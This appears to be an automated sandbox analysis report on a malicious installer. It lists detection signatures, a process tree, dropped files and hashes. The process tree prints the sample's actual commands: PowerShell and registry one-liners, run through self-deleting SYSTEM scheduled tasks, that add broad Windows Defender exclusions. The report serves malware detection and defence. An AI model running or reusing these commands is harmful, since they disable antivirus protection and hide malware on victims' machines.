Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    31/08/2026, 06:21

General

  • Target
    install_q0.3.15.exe
  • Size 24.5MB
  • Sample260831-g4ev7aweph
  • SHA256 6e14a1228889c00ca72bb6c88b5de04366da9c1f493a7bc938c770aeedb5d153
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q0.3.15.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q0.3.15.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5536
  • C:\Users\Public\zXOFxw\7XeMYi.exe
    "C:\Users\Public\zXOFxw\7XeMYi.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2844
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:5628
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\zXOFxw\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4968
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\zXOFxw\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5084
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2268
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:700
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2176
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2876
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1396
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5316
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5036
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1184
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4752
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3736
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2492
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4408
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4888
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5900
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:2796
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4448
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2240
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4436
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\zXOFxw" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4708
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\zXOFxw" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4052
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2480
                        • C:\Users\Public\zXOFxw\7XeMYi.exe
                          "C:\Users\Public\zXOFxw\7XeMYi.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2708
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2956
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5248
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1220
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5344
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4636
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2736

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              7XeMYi.exe

                              • Path C:\Users\Public\zXOFxw\7XeMYi.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\zXOFxw\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 3edcbf8e60de61064e5bd2131456f4c40651def1bb173165fbb2725458efdf7d
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\zXOFxw\adoresd.dat
                              • Size 4.7MB
                              • SHA256 0c922ed6ed1b089a1944f091de0d26348752f0668f4198c00a00cce4967230f1
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\zXOFxw\msadox.tb
                              • Size 8KB
                              • SHA256 a94e462567679a169f9b782a04c0cccb97cd0ebe02debb09118b0851f046b574
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2708-590-0x000001D1D4D10000-0x000001D1D5597000-memory.dmp

                              memory/2708-579-0x00007FFBE12D0000-0x00007FFBE17EE000-memory.dmp

                              memory/2708-597-0x000001D1D4D10000-0x000001D1D5597000-memory.dmp

                              memory/2708-595-0x000001D1D4D10000-0x000001D1D5597000-memory.dmp

                              memory/2708-596-0x000001D1D4D10000-0x000001D1D5597000-memory.dmp

                              memory/2708-598-0x00007FFC035D0000-0x00007FFC035D2000-memory.dmp

                              memory/2708-594-0x000001D1D4D10000-0x000001D1D5597000-memory.dmp

                              memory/2708-589-0x00007FFC035E0000-0x00007FFC035E2000-memory.dmp

                              memory/2708-585-0x000001D1D4D10000-0x000001D1D5597000-memory.dmp

                              memory/2844-539-0x0000027D8B3B0000-0x0000027D8BC37000-memory.dmp

                              memory/2844-566-0x0000027D8B3B0000-0x0000027D8BC37000-memory.dmp

                              memory/2844-543-0x0000027D8B3B0000-0x0000027D8BC37000-memory.dmp

                              memory/2844-544-0x0000027D8B3B0000-0x0000027D8BC37000-memory.dmp

                              memory/2844-545-0x0000027D8B3B0000-0x0000027D8BC37000-memory.dmp

                              memory/2844-546-0x0000027D8B3B0000-0x0000027D8BC37000-memory.dmp

                              memory/2844-550-0x0000027D8B3B0000-0x0000027D8BC37000-memory.dmp

                              memory/2844-556-0x0000027D8A9A0000-0x0000027D8A9EE000-memory.dmp

                              memory/2844-557-0x0000027D8BCD0000-0x0000027D8BD5A000-memory.dmp

                              memory/2844-602-0x0000027D8B3B0000-0x0000027D8BC37000-memory.dmp

                              memory/2844-560-0x0000027D8BCD0000-0x0000027D8BD5A000-memory.dmp

                              memory/2844-531-0x00007FFBE12D0000-0x00007FFBE17EE000-memory.dmp

                              memory/2844-563-0x0000027D8B3B0000-0x0000027D8BC37000-memory.dmp

                              memory/2844-561-0x0000027D8BCD0000-0x0000027D8BD5A000-memory.dmp

                              memory/2844-538-0x00007FFC035E0000-0x00007FFC035E2000-memory.dmp

                              memory/2844-536-0x0000027D8B3B0000-0x0000027D8BC37000-memory.dmp

                              memory/2844-530-0x00007FFC035D0000-0x00007FFC035D2000-memory.dmp

                              memory/2844-559-0x0000027D8BCD0000-0x0000027D8BD5A000-memory.dmp

                              memory/5536-2-0x00000000008B0000-0x00000000008BC000-memory.dmp

                              memory/5536-0-0x0000000000660000-0x000000000066E000-memory.dmp

                              memory/5536-1-0x0000000000660000-0x000000000066E000-memory.dmp

                              memory/5536-504-0x00007FFBFAD20000-0x00007FFBFAD32000-memory.dmp

                              memory/5536-525-0x00007FFBFAD20000-0x00007FFBFAD32000-memory.dmp

                              memory/5536-524-0x0000000000660000-0x000000000066E000-memory.dmp

                              memory/5628-603-0x00000260C5F40000-0x00000260C5F62000-memory.dmp

                              memory/5628-607-0x00000260C60D0000-0x00000260C6182000-memory.dmp

                              memory/5628-606-0x00000260C60B0000-0x00000260C60CE000-memory.dmp

                              memory/5628-608-0x00000260C6190000-0x00000260C619A000-memory.dmp